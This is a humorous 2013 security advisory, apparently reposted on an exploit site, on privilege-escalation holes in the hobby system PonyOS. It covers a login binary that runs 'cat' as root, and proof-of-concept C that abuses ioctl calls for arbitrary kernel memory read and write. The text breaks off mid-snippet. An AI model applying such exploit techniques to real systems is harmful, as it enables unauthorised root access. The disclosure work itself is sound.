Home / exploits PonyOS 0.4.99-mlp Privilege Escalation
Posted on 03 April 2013
Advisory: PonyOS Security Issues John Cartwright <johnc@grok.org.uk> Introduction ------------ Like countless others, I was pretty excited about PonyOS yesterday (April 1st 2013) and decided to give it a go. After wasting a lot of time nyan'ing, I knew this was the future of desktop OSes. However, I wondered how secure PonyOS really was. So, I took a look at the source, which revealed that our ponies may be in danger of compromise! All bugs tested against PonyOS 0.4.99-mlp from ponyos.org. Userland Compromise ------------------- Take a look at this snippet from login.c: int uid = checkUserPass(username, password); if (uid < 0) { fprintf(stdout, " Login failed. "); continue; } system("cat /etc/motd"); pid_t pid = getpid(); uint32_t f = fork(); if (getpid() != pid) { /* TODO: Read appropriate shell from /etc/passwd */ set_username(); set_homedir(); set_path(); char * args[] = { "/bin/sh", NULL }; syscall_setuid(uid); int i = execvp(args[0], args); It seems that login runs 'cat' before dropping privileges. This is easy to exploit, given that the file permissions don't work. Just log in as 'local', and replace the 'cat' binary with another ELF - 'whoami' will do nicely for a PoC. Then log out, and back in again. This causes your binary to run as uid 0. Exciting stuff! Kernel Compromise ----------------- Obviously userland exploits are boring and it was important that I find some kernel holes to play with. Luckily PonyOS has quite a few for your enjoyment. You can abuse syscall_fstat() to write the contents of the stat buf to an arbitrary kernel location if you so wish. There are a few other similar bugs where pointers aren't sanitised, too. static int stat(int fd, uint32_t st) { if (fd >= (int)current_process->fds->length || fd < 0) { return -1; } fs_node_t * fn = current_process->fds->entries[fd]; struct stat * f = (struct stat *)st; f->st_dev = 0; f->st_ino = fn->inode; ... f->st_mode = fn->mask | flags; f->st_nlink = 0; f->st_uid = fn->uid; f->st_gid = fn->gid; f->st_rdev = 0; f->st_size = fn->length; This is all well and good, but for today's silliness^h^h^h^h^h^h^h^h^himportant security audit I decided to exploit the ioctl handler found in tty.c: int pty_ioctl(pty_t * pty, int request, void * argp) { debug_print(WARNING, "Incoming IOCTL request %d", request); switch (request) { case TIOCSWINSZ: debug_print(WARNING, "Setting!"); memcpy(&pty->size, argp, sizeof(struct winsize)); /* TODO send sigwinch to fg_prog */ return 0; case TIOCGWINSZ: memcpy(argp, &pty->size, sizeof(struct winsize)); return 0; default: return -1; /* TODO EINV... something or other */ } return -1; } Printing WARNING to the console is fine, but the ponies won't get the message. What we have here is pretty much an arbitrary read/write of kernel memory. Want to read the value of 0x11223344 ? struct winsize ws; ioctl(0, TIOCSWINSZ, (void *)0x11223344); ioctl(0, TIOCGWINSZ, &ws); printf("%x %x %x %x ", ws.ws_col, ws.ws_row, ws.ws_xpixel, ws.ws_ypixel); Want to zero the memory at that address? struct winsize ws; memset(&ws, '
